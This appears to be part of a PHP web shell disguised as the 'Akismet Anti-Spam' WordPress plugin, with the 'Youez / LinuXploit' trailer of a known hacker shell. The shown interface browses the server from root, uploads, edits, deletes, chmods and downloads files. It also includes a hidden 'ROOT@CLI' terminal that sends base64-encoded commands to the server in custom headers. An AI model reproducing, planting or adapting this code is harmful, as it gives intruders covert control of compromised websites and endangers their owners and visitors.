@media(max-width:768px){.app{padding:12px}.header{flex-direction:column;gap:16px}.operation-bar{flex-direction:column}.operation-form{width:100%}.operation-input{flex:1}.action-group{flex-wrap:wrap}}
</style>
</head>
<body>
<div class="nebula-bg"></div>
<div class="stars"></div>
<div class="app">
<header class="header">
<div class="header-left" onclick="window.location.href='?p=<?php echo urlencode(getcwd()); ?>'">
<h1>Akismet Anti-Spam</h1>
<div class="system-info"><?php echo php_uname('s') . ' ' . php_uname('r'); ?> • <?php echo php_uname('n'); ?></div>
</div>
<div class="header-right">
<a href="?p=__HOME__" class="btn-home" title="Go to script home directory"><i class="fas fa-home"></i> Home</a>
<button onclick="ak_toggle_term()" class="btn-home" style="border-color:#9370db;color:#9370db;"><i class="fas fa-terminal"></i> CLI</button>
</div>
</header>

<div id="terminal-panel" style="display:none;">
<div class="term-header"><span class="term-title">ROOT@CLI:~#</span><i class="fas fa-times panel-close" onclick="ak_toggle_term()"></i></div>
<div id="term-output" class="term-body-inline"><div style="color:#6a9955;"># CLI Ready.</div></div>
<div class="term-input-row"><span class="term-prompt">&#10140;</span><input type="text" id="term-cmd-inline" placeholder="Type command..." autocomplete="off"></div>
</div>

<div class="path-bar-custom" id="path-bar-el">
<button class="btn-icon-path me-2" onclick="ak_go_up()" title="Up Level"><i class="fas fa-level-up-alt"></i></button>
<i class="fas fa-folder text-secondary me-3"></i>
<div id="path-txt" title="Current Path"><?php echo htmlspecialchars($path); ?></div>
</div>

<?php echo ak_breadcrumb($path); ?>

<?php if (!empty($msg)): ?><div class="message success">✨ <?php echo htmlspecialchars($msg); ?></div><?php endif; ?>
<?php if (!empty($err)): ?><div class="message error">⚠️ <?php echo htmlspecialchars($err); ?></div><?php endif; ?>

<div class="panel">
<div class="panel-title">Operations</div>
<div class="operation-bar">
<form method="POST" class="operation-form">
<input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
<input type="text" name="dir_name" class="operation-input" placeholder="New folder name">
<button type="submit" name="a" value="create_dir" class="operation-btn">Create Folder</button>
</form>
<button onclick="ak_open_create_file()" class="operation-btn" style="border-color:#9370db;color:#9370db;">Create File</button>
<form method="POST" enctype="multipart/form-data" class="operation-form">
<input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
<input type="file" name="f" class="operation-input" style="padding:6px;">
<button type="submit" name="a" value="upload" class="operation-btn upload-btn">Upload</button>
</form>
</div>
</div>

<div class="panel">
<div class="panel-title">Files in <?php echo htmlspecialchars(basename($path) ?: 'Root'); ?></div>
<div class="table-container">
<table class="file-table">
<thead><tr><th></th><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr></thead>
<tbody>
<?php if ($path !== '/'): $parent = dirname($path); ?>
<tr class="dir-row">
<td class="file-icon">📁</td>
<td><a href="?p=<?php echo urlencode($parent); ?>" class="file-name">..</a></td>
<td>-</td>
<td><span class="perms-badge">d--------</span></td>
<td>-</td>
<td>-</td>
</tr>
<?php endif; ?>
<?php
if (is_dir($path)) {
    $items = @scandir($path);
    if ($items) {
        $dirs = []; $files = [];
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $full = $path . DIRECTORY_SEPARATOR . $item;
            if (is_dir($full)) $dirs[] = $item; else $files[] = $item;
        }
        sort($dirs); sort($files);
        foreach ($dirs as $item) {
            $full = $path . DIRECTORY_SEPARATOR . $item;
            $hid = ak_hidden($item);
            try {
                $perms = ak_octal($full);
                $mtime = @date('Y-m-d H:i', @filemtime($full));
                echo "<tr class='dir-row" . ($hid ? " hidden-file" : "") . "'>";
                echo "<td class='file-icon'>📁</td>";
                echo "<td><a href='?p=" . urlencode($full) . "' class='file-name'>" . ($hid ? "<i>" . htmlspecialchars($item) . "</i>" : htmlspecialchars($item)) . "</a></td>";
                echo "<td>-</td>";
                echo "<td><button onclick='ak_chmod_modal(\"" . addslashes($full) . "\", \"" . addslashes($perms) . "\", \"" . addslashes($item) . "\")' class='perms-badge'>$perms</button></td>";
                echo "<td>" . ($mtime ?: '-') . "</td>";
                echo "<td class='action-group'>";
                echo "<a href='?p=" . urlencode($full) . "' class='action-btn action-view'>Open</a>";
                echo "<button onclick='ak_rename_modal(\"" . addslashes($full) . "\", \"" . addslashes($item) . "\")' class='action-btn action-rename'>Rename</button>";
                echo "<button onclick='ak_chmod_modal(\"" . addslashes($full) . "\", \"" . addslashes($perms) . "\", \"" . addslashes($item) . "\")' class='action-btn action-chmod'>Chmod</button>";
                echo "<a href='?a=compress&t=" . urlencode($full) . "' class='action-btn action-zip'>Zip</a>";
                echo "<a href='?a=delete&t=" . urlencode($full) . "' class='action-btn action-delete' onclick='return confirm(\"Delete this folder?\")'>Del</a>";
                echo "</td></tr>";
            } catch (Exception $e) { continue; }
        }
        foreach ($files as $item) {
            $full = $path . DIRECTORY_SEPARATOR . $item;
            $hid = ak_hidden($item);
            try {
                $perms = ak_octal($full);
                $size = ak_format(@filesize($full));
                $mtime = @date('Y-m-d H:i', @filemtime($full));
                $ext = strtolower(pathinfo($full, PATHINFO_EXTENSION));
                $icon = '📄';
                if (in_array($ext, ['jpg','jpeg','png','gif','bmp','svg','webp','ico'])) $icon = '🖼️';
                else if (in_array($ext, ['mp3','wav','ogg','flac','m4a'])) $icon = '🎵';
                else if (in_array($ext, ['mp4','avi','mkv','mov','wmv','flv'])) $icon = '🎬';
                else if (in_array($ext, ['zip','rar','tar','gz','7z','bz2'])) $icon = '📦';
                else if (in_array($ext, ['php','html','css','js','py','rb','java','c','cpp'])) $icon = '⚙️';
                else if (in_array($ext, ['txt','md','log','ini','conf','env','yml'])) $icon = '📝';
                else if (in_array($ext, ['pdf'])) $icon = '📑';
                else if (in_array($ext, ['doc','docx'])) $icon = '📘';
                else if (in_array($ext, ['xls','xlsx'])) $icon = '📊';
                else if (in_array($ext, ['ppt','pptx'])) $icon = '📽️';
                echo "<tr" . ($hid ? " class='hidden-file'" : "") . ">";
                echo "<td class='file-icon'>$icon</td>";
                echo "<td><span class='file-name'>" . ($hid ? "<i>" . htmlspecialchars($item) . "</i>" : htmlspecialchars($item)) . "</span></td>";
                echo "<td>$size</td>";
                echo "<td><button onclick='ak_chmod_modal(\"" . addslashes($full) . "\", \"" . addslashes($perms) . "\", \"" . addslashes($item) . "\")' class='perms-badge'>$perms</button></td>";
                echo "<td>" . ($mtime ?: '-') . "</td>";
                echo "<td class='action-group'>";
                if (ak_is_image($full) || ak_is_text($full)) echo "<button onclick='ak_view_file(\"" . addslashes($full) . "\")' class='action-btn action-view'>View</button>";
                if (ak_is_text($full)) echo "<a href='?a=edit&t=" . urlencode($full) . "' class='action-btn action-edit'>Edit</a>";
                echo "<button onclick='ak_rename_modal(\"" . addslashes($full) . "\", \"" . addslashes($item) . "\")' class='action-btn action-rename'>Rename</button>";
                echo "<button onclick='ak_chmod_modal(\"" . addslashes($full) . "\", \"" . addslashes($perms) . "\", \"" . addslashes($item) . "\")' class='action-btn action-chmod'>Chmod</button>";
                echo "<a href='?a=download&t=" . urlencode($full) . "' class='action-btn action-download'>DL</a>";
                echo "<a href='?a=compress&t=" . urlencode($full) . "' class='action-btn action-zip'>Zip</a>";
                echo "<a href='?a=delete&t=" . urlencode($full) . "' class='action-btn action-delete' onclick='return confirm(\"Delete this file?\")'>Del</a>";
                echo "</td></tr>";
            } catch (Exception $e) { continue; }
        }
    }
}
?>
</tbody>
</table>
</div>
</div>

<?php if ($action === 'edit' && $target && is_file($target)): ?>
<div class="editor-container">
<div class="panel">
<div class="panel-title">Editing: <?php echo htmlspecialchars(basename($target)); ?></div>
<form method="post">
<input type="hidden" name="a" value="edit">
<input type="hidden" name="t" value="<?php echo htmlspecialchars($target); ?>">
<textarea name="content" class="editor"><?php echo htmlspecialchars(@file_get_contents($target)); ?></textarea>
<div style="margin-top:16px;display:flex;gap:12px;">
<button type="submit" class="operation-btn">Save Changes</button>
<a href="?p=<?php echo urlencode(dirname($target)); ?>" class="operation-btn" style="background:transparent;">Cancel</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
</div>

<!-- CREATE FILE MODAL -->
<div id="createFileModal" class="modal">
<div class="modal-content">
<div class="modal-header"><h3>Create New File</h3><button class="modal-close" onclick="ak_close_create_file()">Close</button></div>
<form method="post" id="createFileForm">
<input type="hidden" name="a" value="create_file">
<input type="hidden" name="p" value="<?php echo htmlspecialchars($path); ?>">
<div class="modal-body">
<label style="color:rgba(255,255,255,0.7);font-size:13px;display:block;margin-bottom:8px;">File Name</label>
<input type="text" name="file_name" id="ak_new_file_name" class="modal-input" placeholder="filename.php" required>
<label style="color:rgba(255,255,255,0.7);font-size:13px;display:block;margin:15px 0 8px;">Content (optional)</label>
<textarea name="content" id="ak_new_file_content" class="modal-input" style="height:150px;resize:vertical;font-family:monospace;" placeholder="Write your file content here..."></textarea>
</div>
<div class="modal-footer">
<button type="button" class="modal-btn modal-btn-secondary" onclick="ak_close_create_file()">Cancel</button>
<button type="submit" class="modal-btn modal-btn-primary">Create</button>
</div>
</form>
</div>
</div>

<!-- RENAME MODAL -->
<div id="renameModal" class="modal">
<div class="modal-content">
<div class="modal-header"><h3>Rename Item</h3><button class="modal-close" onclick="ak_close_rename()">Close</button></div>
<form method="post" id="renameForm" onsubmit="return ak_validate_rename()">
<input type="hidden" name="a" value="rename">
<input type="hidden" name="t" id="ak_rename_target" value="">
<div class="modal-body">
<input type="text" name="new_name" id="ak_new_name" class="modal-input" placeholder="New name" autocomplete="off" required>
</div>
<div class="modal-footer">
<button type="button" class="modal-btn modal-btn-secondary" onclick="ak_close_rename()">Cancel</button>
<button type="submit" class="modal-btn modal-btn-primary">Rename</button>
</div>
</form>
</div>
</div>

<!-- CHMOD MODAL -->
<div id="chmodModal" class="modal">
<div class="modal-content">
<div class="modal-header"><h3>Change Permissions</h3><button class="modal-close" onclick="ak_close_chmod()">Close</button></div>
<form method="post" id="chmodForm" onsubmit="return ak_validate_chmod()">
<input type="hidden" name="a" value="chmod">
<input type="hidden" name="t" id="ak_chmod_target" value="">
<div class="modal-body">
<label style="color:rgba(255,255,255,0.7);font-size:13px;display:block;margin-bottom:8px;">
Permissions for: <span id="ak_chmod_item" style="color:#9370db;font-weight:500;"></span>
</label>
<input type="text" name="perms" id="ak_chmod_perms" class="modal-input" placeholder="0755" value="0644" required>
<div style="margin-top:8px;font-size:12px;color:rgba(255,255,255,0.4);">Common: 0644 (files) | 0755 (dirs) | 0777 (all)</div>
</div>
<div class="modal-footer">
<button type="button" class="modal-btn modal-btn-secondary" onclick="ak_close_chmod()">Cancel</button>
<button type="submit" class="modal-btn modal-btn-primary">Apply</button>
</div>
</form>
</div>
</div>

<!-- FILE VIEWER MODAL -->
<div id="fileModal" class="modal">
<div class="modal-content modal-lg">
<div class="modal-header"><h3 id="ak_modal_title">Viewing File</h3><button class="modal-close" onclick="ak_close_view()">Close</button></div>
<div class="modal-body modal-body-lg" id="ak_modal_body"></div>
</div>
</div>

<script>
let ak_cur_path = '<?php echo addslashes($path); ?>';
let ak_home_path = '<?php echo addslashes($ak_home); ?>';

async function ak_fetch(action, path, method='GET', extra={}, body=null) {
    let headers = { 'AK-Action': action, 'AK-Path': btoa(path), ...extra };
    return fetch(window.location.href, { method, headers, body });
}

function ak_toggle_term() {
    const p = document.getElementById('terminal-panel');
    p.style.display = (p.style.display === 'none') ? 'block' : 'none';
    ak_update_panel();
    if (p.style.display === 'block') setTimeout(() => document.getElementById('term-cmd-inline').focus(), 50);
}

function ak_update_panel() {
    const term = document.getElementById('terminal-panel').style.display !== 'none';
    const bar = document.getElementById('path-bar-el');
    if(term) bar.classList.add('has-panel-above'); else bar.classList.remove('has-panel-above');
}

document.getElementById('term-cmd-inline').addEventListener('keypress', function(e) {
    if (e.key === 'Enter') {
        let cmd = this.value.trim();
        if (!cmd) return;
        let out = document.getElementById('term-output');
        out.innerHTML += `<div><span style="color:#c586c0;">&#10140;</span> <span style="color:#d4d4d4;">${cmd}</span></div>`;
        this.value = '';
        out.scrollTop = out.scrollHeight;
        ak_fetch('cmd', ak_cur_path, 'GET', { 'AK-Cmd': btoa(cmd) })
            .then(r => r.text())
            .then(res => {
                out.innerHTML += `<div style="color:#9cdcfe; margin-bottom:10px;">${res || '[No Output]'}</div>`;
                out.scrollTop = out.scrollHeight;
            });
    }
});

function ak_go_up() {
    let p = ak_cur_path;
    if (p && p !== '/' && p.includes('/')) {
        p = p.substring(0, p.lastIndexOf('/'));
        if (p === '') p = '/';
    } else {
        p = '/';
    }
    window.location.href = '?p=' + encodeURIComponent(p);
}

function ak_open_create_file() {
    document.getElementById('createFileModal').classList.add('active');
    setTimeout(() => document.getElementById('ak_new_file_name').focus(), 100);
}
function ak_close_create_file() {
    document.getElementById('createFileModal').classList.remove('active');
    document.getElementById('ak_new_file_name').value = '';
    document.getElementById('ak_new_file_content').value = '';
}

function ak_rename_modal(path, name) {
    document.getElementById('ak_rename_target').value = path;
    document.getElementById('ak_new_name').value = name;
    document.getElementById('renameModal').classList.add('active');
    setTimeout(() => { document.getElementById('ak_new_name').focus(); document.getElementById('ak_new_name').select(); }, 100);
}
function ak_close_rename() {
    document.getElementById('renameModal').classList.remove('active');
    document.getElementById('ak_new_name').value = '';
}
function ak_validate_rename() {
    let n = document.getElementById('ak_new_name').value.trim();
    if (!n) { alert('Please enter a name'); return false; }
    if (n.includes('/') || n.includes('\\')) { alert('Name cannot contain slashes'); return false; }
    return true;
}

function ak_chmod_modal(path, perms, name) {
    document.getElementById('ak_chmod_target').value = path;
    document.getElementById('ak_chmod_perms').value = perms || '0644';
    document.getElementById('ak_chmod_item').textContent = name || path.split('/').pop();
    document.getElementById('chmodModal').classList.add('active');
    setTimeout(() => { document.getElementById('ak_chmod_perms').focus(); document.getElementById('ak_chmod_perms').select(); }, 100);
}
function ak_close_chmod() {
    document.getElementById('chmodModal').classList.remove('active');
}
function ak_validate_chmod() {
    let p = document.getElementById('ak_chmod_perms').value.trim();
    if (!p) { alert('Please enter permissions'); return false; }
    if (!/^[0-7]{3,4}$/.test(p)) {
        alert('Please enter valid octal permissions (e.g., 0644, 0755)');
        return false;
    }
    return true;
}

function ak_close_view() {
    document.getElementById('fileModal').classList.remove('active');
    document.getElementById('ak_modal_body').innerHTML = '';
}
function ak_view_file(path) {
    fetch('?ajax_view=' + encodeURIComponent(path))
        .then(r => r.json())
        .then(data => {
            document.getElementById('ak_modal_title').textContent = 'Viewing: ' + data.name;
            let body = document.getElementById('ak_modal_body');
            if (data.is_image) {
                body.innerHTML = '<img src="data:' + data.mime + ';base64,' + data.content + '" class="modal-image" alt="' + data.name + '">';
            } else if (data.is_text) {
                body.innerHTML = '<pre class="modal-text">' + ak_escape(data.content) + '</pre>';
            } else {
                body.innerHTML = '<div class="message error">Cannot preview this file type</div>';
            }
            document.getElementById('fileModal').classList.add('active');
        })
        .catch(e => alert('Error loading file: ' + e));
}
function ak_escape(text) {
    let d = document.createElement('div');
    d.textContent = text;
    return d.innerHTML;
}

window.onclick = function(e) {
    if (e.target === document.getElementById('renameModal')) ak_close_rename();
    if (e.target === document.getElementById('fileModal')) ak_close_view();
    if (e.target === document.getElementById('chmodModal')) ak_close_chmod();
    if (e.target === document.getElementById('createFileModal')) ak_close_create_file();
};
document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape') {
        ak_close_rename();
        ak_close_view();
        ak_close_chmod();
        ak_close_create_file();
    }
});

document.getElementById('renameForm')?.addEventListener('submit', function(e) {
    if (!ak_validate_rename()) e.preventDefault();
});
document.getElementById('chmodForm')?.addEventListener('submit', function(e) {
    if (!ak_validate_chmod()) e.preventDefault();
});
document.getElementById('path-txt').textContent = '<?php echo addslashes($path); ?>';
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit